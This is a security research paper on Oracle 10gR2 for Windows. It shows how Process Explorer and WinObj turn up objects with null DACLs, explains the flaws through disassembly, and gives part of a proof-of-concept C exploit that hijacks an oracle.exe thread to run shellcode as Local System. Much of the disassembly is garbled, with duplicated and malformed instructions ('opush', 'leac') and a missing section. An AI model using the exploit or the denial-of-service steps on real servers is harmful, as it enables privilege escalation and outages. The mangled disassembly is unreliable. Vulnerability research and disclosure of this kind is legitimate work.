Practical 10 minutes security audit
Oracle case

Author:
Cesar Cerrudo
(cesar>.at.<argeniss>.dot.<com)
Dedicated to Thunder, Mary Ann Davidson (MAD) puppy
http://blogs.oracle.com/maryanndavidson/ (this clever dog should be doing code auditing! )
and also dedicated to the excellent code auditing tools and the superior security coding
practices Oracle uses.
Abstract:

This paper will show a extremely simple technique to quickly audit a software product in order to infer how trustable and secure it is. I will show you step by step how to identify half dozen of local 0day vulnerabilities in few minutes just making a couple of clicks on very easy to use free tools, then for the technical guys enjoyment the vulnerabilities will be easily pointed out on disassembled code and detailed, finally a 0day exploit for one of the vulnerabilities will be demonstrated.

While this technique can be applied to any software in this case I will take a look at the latest version of Oracle Database Server: 10gR2 for Windows, which is a extremely secure product so it will be a very difficult challenge to find vulnerabilities since Oracle is using advanced next generation tools to identify and fix vulnerabilities.

The technique:

To use this technique we will need the following free tools:

- Process Explorer ([www.sysinternals.com](http://www.sysinternals.com))
- WinObj ([www.sysinternals.com](http://www.sysinternals.com))
- Pipeacl Tools ([www.bindview.com](http://www.bindview.com))

Once you have installed and running the software you can start with this quick security audit. Run Process Explorer tool, this tool displays all the processes running on the system and all the related information. When you select a process all process objects are displayed on the lower pane, there you can see the handle, the name, the type of object, etc. also by double clicking on an object you can see other information such as amount of objects references, handles, etc. and security information, this is what we will be using for identifying vulnerabilities related to weak permissions on the objects.

When objects are created by a process permissions are assigned to them, if weak permissions are assigned then low privileged users can manipulate objects mostly to cause a Denial of...
Service (DoS) but in some cases arbitrary code execution could be possible as we will see later, the risk gets higher when the process is a service and remote users can connect to the box with Terminal Services, Citrix software, remote desktop software in general, etc. Basically we will search for objects that allow low privileged users to change permissions on them. If a user removes all permissions from the object then nobody will be able to use that object including the same process unless new permissions are set, removing all the permissions will cause the service to stop responding or crash if the object it’s critical for the process functionality.

After running Process Explorer tool, first you will need to identify the processes of the software being audited, double clicking over a process will display information about the process, there you can see the path and other information that will help you to identify the processes. After identifying the processes you have to select them in order to see the process objects in the lower pane. In this case we will search for oracle.exe process.

Now this technique is easy as follows, start making double click over the objects one by one, go to Security tab and look if low privileged accounts such as Everyone or Users group has permissions on the object.
The Security tab won't show you all the permissions on the object so you will have to open Advanced Security Settings window by clicking on Advanced button and there you can double click over an account to see all the permissions, for this technique we will care only for “Change Permissions” or “Write DACL” permission, if an account has this permission set then it can add, remove, etc. permissions on the object, as we already saw removing permissions from the object could make the service to stop responding or crash causing a DoS. Basically when we find that a low privileged account (usually Everyone or Users group) has “Change Permissions” permission on the object then we find a vulnerability.

Tip: If we find that Everyone group is the only user or group listed in the Security tab and on Advanced Security Settings window there isn't any user nor group listed this means that the object has a null Discretionary Access Control List (DACL) and it has no protection and all users have full control over the object.

Process Explorer don't let us to edit permissions on some objects so here is where WinObj comes in handy, we run WinObj (it can be ran under a low privileged account), then we select BaseNamedObjects folder on left pane and in the right pane it will be displayed objects from different processes, there we have to look for the object we want to edit permissions on, after we find the object we double click and in the Security tab we can edit the permissions, what we have to do is to remove all permissions from the object and apply the changes and then try to test the application to see if it continues working normally which usually won't happen.
The object types we should care about when searching for permission issues are the named ones that are created by the process and can be opened by other processes, such as: semaphores, events, sections, mutexes, pipes, threads, etc.

Note: For editing DACL of some objects you will need special tools, for instance for editing named pipes DACL you can use Pipeacl Tools from BindView.

Finding 0days in Oracle:

After selecting oracle.exe in Process Explorer let start examining objects permissions:

- Looking at shared sections we quickly find that `\BaseNamedObjects\*oraspawn_buffer_orcl*` (orcl is the Oracle database SID) has a null DACL and Everyone group has full control on the object.

- Looking at mutexes (Mutants objects on Process Explorer) we quickly find that `\BaseNamedObjects\*oraspawn_lock_orcl*` (orcl is the Oracle database SID) has a null DACL and Everyone group has full control on the object.

- Looking at named pipes (File objects on Process Explorer) we quickly find that `\Device\NamedPipe\oraspawn_pipe*.1980` (1980 is oracle.exe PID) has a null DACL also we find many pipes named `\Device\NamedPipe\ORANTP*` (where * are some hexadecimal numbers) have a null DACL and Everyone group has full control on the object.

- Looking at the events we quickly find that `\BaseNamedObjects\ORANTPEVENTNEED*`, `\BaseNamedObjects\ORANTPEVENT*` and `\BaseNamedObjects\ORANTPEVENTHAS*` (where * are some hexadecimal numbers) have a null DACL and Everyone group has full control on the object.

After finding these you can go to WinObj and remove all permissions from the objects, and then try to connect or run a query in Oracle, most of the time it won't work, so most of these are DoS vulnerabilities.

Amazing eh? Just point, click, look and you find several vulnerabilities!!!
Well that's all, pretty simple, I think even Thunder could do this :).
Getting technical:

I think it would be a good idea to give to MAD security team some good advice so they can tune their excellent code auditing tools and superior secure coding practices to find and avoid these so obscure vulnerabilities.

The problem related with the objects permissions is because improper use of SetSecurityDescriptorDacl() function, when the third function parameter (pDacl) is set as NULL a NULL DACL is assigned to the security descriptor and no protection is assigned to the object so all access requests are granted, this is documented on MSDN but I guess Oracle people is allergic to read Microsoft related stuff.

Opening oracle.exe with IDA and searching for the use of SetSecurityDescriptorDacl() function will show you how bad it's used, it's only a 5 minutes IDA job (you can find a lot more looking at dlls imported by oracle.exe and also at Oracle listener TNSLSNR.exe but that's for your enjoyment it won't be showed here.)

-First mistake:

```
xor edx, edx
push edx ; bDaclDefaulted
push edx ; pDacl
push 1 ; bDaclPresent
push esi ; pSecurityDescriptor
call ds:SetSecurityDescriptorDacl
```

```
Hey!!!
```

```
push [ebp+ThreadId]
mov [ebp+EventAttributes.nLength], 0Ch
mov [ebp+EventAttributes.bInheritHandle], 0
mov [ebp+EventAttributes.lpSecurityDescriptor], esi ; Yeah!!!
```

```
leac ecx, [ebp+Name]
leac edx, [ebp+var_154]
push edx
push offset aOraspawn_reply ; "*oraspawn_reply_%s_%ld"
push ecx
call ds:sprintf
```

```
leac ecx, [ebp+EventAttributes] ; Nice!!!
```

-Second mistake:

```
xor edx, edx ; bDaclDefaulted
push edx ; pDacl
push 1 ; bDaclPresent
```

```
D'oh!!!!
```
call    ds:SetSecurityDescriptorDacl
mov     [ebp+SecurityAttributes.nLength], 0Ch
mov     [ebp+SecurityAttributes.lpSecurityDescriptor], ebx ;...!!!
mov     [ebp+SecurityAttributes.bInheritHandle], 0
call    ds:GetCurrentProcessId
lea     edx, [ebp+Name]
push    eax
push    offset aOraspawn_pipe ; "*oraspawn_pipe*"
push    offset a_PipeS_D ; "\\\.\pipe\%s.%d"
push    edx
call    ds:sprintf
add     esp, 10h
lea     esi, [ebp+Name]
leap    edx, [ebp+SecurityAttributes]
push    edx             ; lpSecurityAttributes
xor     ecx, ecx
push    ecx             ; nDefaultTimeOut
push    ecx             ; nInBufferSize
push    ecx             ; nOutBufferSize
push    0FFh            ; nMaxInstances
push    6               ; dwPipeMode
push    40000003h       ; dwOpenMode
push    esi             ; lpName
lea     ecx, [ebp+FileMappingAttributes]
push    edx             ; lpName    "Global\*oraspawn_lock_%s*"
push    1               ; bInitialOwner
push    ecx             ; lpMutexAttributes
call    ds:CreateMutexA
.............
lea     esi, [ebp+Name]
lea     edx, [ebp+SecurityAttributes]
opush    edx             ; lpSecurityAttributes
xor     ecx, ecx
push    ecx             ; nDefaultTimeOut
push    ecx             ; nInBufferSize
push    ecx             ; nOutBufferSize
push    0FFh            ; nMaxInstances
push    6               ; dwPipeMode
push    40000003h       ; dwOpenMode
push    esi             ; lpName
lea     ecx, [ebp+FileMappingAttributes]
opush    edx             ; lpName    "Global\*oraspawn_lock_%s*"
push    1               ; bInitialOwner
push    ecx             ; lpMutexAttributes
call    ds:CreateMutexA
......
lea     esi, [ebp+hMem]      ; pSecurityDescriptor
call    ds:SetSecurityDescriptorDacl
lea     edx, [ebp+FileMappingAttributes]
opush    edx             ; lpName    "Global\*oraspawn_lock_%s*"
push    1               ; bInitialOwner
push    ecx             ; lpMutexAttributes
call    ds:CreateMutexA
lea     edx, [ebp+FileMappingAttributes]
opush    edx             ; lpName    "Global\*oraspawn_buffer_%s*"
lea     edx, [ebp+FileMappingAttributes.bInheritHandle], 0
lea     ecx, [ebp+FileMappingAttributes]
opush    ecx             ; lpMutexAttributes
call    ds:CreateMutexA
lea     edx, [ebp+hMem]
push    [ebp+FileMappingAttributes.nLength], 0Ch
mov     [ebp+FileMappingAttributes], eax ;!!!
lea     ecx, [ebp+FileMappingAttributes]
opush    ecx             ; lpName    "Global\*oraspawn_lock_%s*"
push    1               ; bInitialOwner
lea     edx, [ebp+FileMappingAttributes]
opush    edx             ; lpName    "Global\*oraspawn_buffer_%s*"
opush    offset Value
lea     edx, [ebp+FileMappingAttributes]
opush    edx             ; lpName    "Global\*oraspawn_buffer_%s*"
lea     edx, [ebp+FileMappingAttributes.bInheritHandle], 0
lea     ecx, [ebp+FileMappingAttributes]
opush    ecx             ; lpMutexAttributes
call    ds:CreateMutexA
Argeniss – Information Security

-Fourth mistake:
Not big deal since they are anonymous pipe but helps to show bad coding practices.

-What???

-Ssshh!!!

-We should re-use this!!!
push edx             ; lpTargetHandle
push eax             ; hTargetProcessHandle
push [ebp+hSourceHandle] ; hSourceHandle
mov eax, [ebp+hSourceProcessHandle]
push eax             ; hSourceProcessHandle
call ds:DuplicateHandle

je loc_1A6102F
lea ecx, [ebp+var_48]
lea edx, [ebp+hWritePipe]
lea eax, [ebp+PipeAttributes]   ; Go Go Go !!!
push 0               ; nSize
push eax             ; lpPipeAttributes
push edx             ; hWritePipe
push ecx             ; hReadPipe
call ds:CreatePipe

-Fifth and last mistake?:
Again not big deal since it's an anonymous pipe but helps to show bad coding practices.
At this time you can spot the mistake by yourself.

xor eax, eax
push eax             ; bDaclDefaulted
push eax             ; pDacl
push 1               ; bDaclPresent
push edx             ; pSecurityDescriptor
call ds:SetSecurityDescriptorDacl
mov [ebp+PipeAttributes.nLength], 0Ch
lea eax, [ebp+pSecurityDescriptor]
mov [ebp+PipeAttributes.lpSecurityDescriptor], eax
mov [ebp+PipeAttributes.bInheritHandle], 1
lea esi, [ebp+hReadPipe]
lea ecx, [ebp+hWritePipe]
lea edx, [ebp+PipeAttributes]
push 0               ; nSize
push edx             ; lpPipeAttributes
push ecx             ; hWritePipe
push esi             ; hReadPipe
call ds:CreatePipe

This has been really hard:
-Open IDA
-Open oracle.exe binary
-Locate SetSecurityDescriptorDacl() and press Ctrl+X (Jump to cross reference)
-Look at SetSecurityDescriptorDacl() parameters and security descriptor usage.

Total time spent: 5 minutes (being lazy)

But that's not all, wait, wait, wait...

Oracle has always nice surprises for delighting us, I looooooove Oracle!!!!
While searching for SetSecurityDescriptorDacl() usage you can find the next:
This looks pretty weird to me, why? SetKernelObjectSecurity() is used to set the security of a kernel object, in this case the process itself and setting a new DACL!!! Why would someone do that? I guess it should be because some recommendation in Oracle superior secure coding guides, the fact is that the new DACL set allows Everyone to open oracle.exe process with PROCESS_DUP_HANDLE rights, this means that any user can duplicate handles of oracle.exe process and this can be used to elevate privileges executing any code as Local System account. Nice, isn't it?

Owning Oracle:

Papers without exploit code are boring and I'm sure Oracle people will say that this is not exploitable, so let's make a simple PoC exploit for this last hole (a better and more automated exploit can be built).

So we can open oracle.exe process with PROCESS_DUP_HANDLE rights, what we can do to get arbitrary code execution?, let's start to think:

- One cool thing we could do is to duplicate data files handles and read all the data from the database but we want arbitrary code execution, so let's continue thinking.

- Getting execution control:
  There are high privileged impersonation tokens in the process, we could get them to use them to impersonate, the problem is that no matter if we get the tokens we can't use them since we can't impersonate without proper rights. What about the threads in the process, can we change the code in the thread? No, but we can get a thread and change its context modifying EIP with a value we want, cool! but where we point EIP?
-Getting shellcode into the process:
We need to put our shellcode into oracle.exe process address space and know where it's. There is a shared section that can be written by Everyone (look at Third mistake above) so we can write our shellcode there and then make a thread jump and execute it, the only problem is that the base address is not pretty static on different Oracle and Windows versions but we will use it anyways since it's the easiest and quickest way.

This is a nice vulnerability to research and exploiting on a more elegant and better way, I'm going to give some leads for those who want to go deeper and improve the exploit:

-Process names and PIDs can be enumerated and Oracle SID can be get locally querying the Listener avoiding the need to pass parameters to the exploit.
-There is a named pipe that can be written by Everyone (look at Second mistake above), when we write to this pipe an event is created (look at First mistake) and the shared section is read (btw: overwriting the shared section and then writing to the pipe we can make oracle.exe crash and maybe get code execution also :))
-The data read from the named pipe goes to the stack [a] and a thread is then created that reads the shared section [b], so if you can get a thread in one of those moments [a] or [b] the pipe and shared section data (shellcode) will be on the stack.
-Data (shellcode) can also be put on oracle.exe by writing to its TCP port.
-Thread synchronization and signaling can be abused to get threads at know locations.
-etc.

Here is detailed the main part of the PoC exploit:

```c
//brute force handles to find a thread one
for (j=0x200;j<=0x1000;j+=4){
    hSrcHandle=(HANDLE)j;
    //get a local handle
    if(DuplicateHandle(hProcess,hSrcHandle,GetCurrentProcess(),&hTgtHandle,0,FALSE,
                       DUPLICATE_SAME_ACCESS ))
    {
        //if we can suspend it then it's a thread handle
        if(SuspendThread(hTgtHandle)==0){
            printf("Found thread handle: 0x%llx",hSrcHandle);
            //get thread control registers
            Context.ContextFlags = CONTEXT_CONTROL;
            GetThreadContext(hTgtHandle, &Context);
            //put shellcode on the shared section
            if (InjectShellcode(Context.Eip,oraSID)){
                printf("Changing thread context...\n");
                Context.Eip = 0x048a0500;  //set new IP, add 0x500 to not
                //overwrite data already in the section,
                //we don't want to crash Oracle service :)
                //change context to jump to shellcode
                SetThreadContext(hTgtHandle, &Context);
                ResumeThread(hTgtHandle);

                printf("Running exploit...\n");
                bSuccess=TRUE;
            }
        } //if we can suspend it then it's a thread handle
    }
}
```

```c
-12- www.argeniss.com
```
else  bSuccess=FALSE;

CloseHandle(hTgtHandle);
break;

CloseHandle(hTgtHandle);

Find full exploit in file OracleOwner.c
Conclusion:

- Total spent time: **10 minutes**
- Skills needed: **none**
- Number of vulnerabilities found: **5 or more**
- Oracle database versions affected: **ALL**
- PoC exploit code provided: **YES**
- Money invested: **$ 0.00**
- Having fun with Oracle software and pointing out Oracle security excellence: **priceless**

As we just saw with this simple technique anyone can find security vulnerabilities in a couple of minutes, this technique is so amazing that seems more powerful than Oracle code auditing tools and security practices since these bugs have been in Oracle code for many years and they are not fixed yet. We just looked at oracle.exe but there are a lot more similar vulnerabilities if you look at the dlls and other executables like TNSLSNR.exe (Oracle Listener). These are very stupid and local bugs but using more advanced techniques you can find several buffer overflows, SQL Injection, DoS, etc. as we already did, we have found more than 50 vulnerabilities that are still unpatched.

Oracle continues showing that it's extremely hard to break.

Spam:

If you need information security services don't do as Oracle, contact us.

Don't be like Oracle, hack your own servers before someone else does it!, check out Argeniss Ultimate 0day Exploits Pack

http://www.argeniss.com/products.html
References:

Thunder and MAD weblog
http://blogs.oracle.com/maryanndavidson/

Process Explorer
http://www.sysinternals.com

WinObj
http://www.sysinternals.com

Pipeacl Tools
http://www.bindview.com/Services/razor/Utilities/Windows(pipeacltools1_0.cfm

WLSI – Windows Local Shellcode Injection
http://www.argeniss.com/research/WLSI.zip

Hacking Windows Internals
http://www.argeniss.com/research/hackwininter.zip

SetSecurityDescriptorDacl() API

SetKernelObjectSecurity() API

PoC exploit
http://www.argeniss.com/research/OracleOwner.c
About Argeniss

Argeniss is an information security company specialized on application security, we offer services such as vulnerability information, exploit development, software auditing, penetration testing and training, also we offer exploits for widely deployed software.

Contact us

Buenos Aires 463
Parana, Entre Rios
Argentina

E-mail: info>.at.<argeniss>.dot.<com

Tel: +54-343-4231076
Fax: 1-801-4545614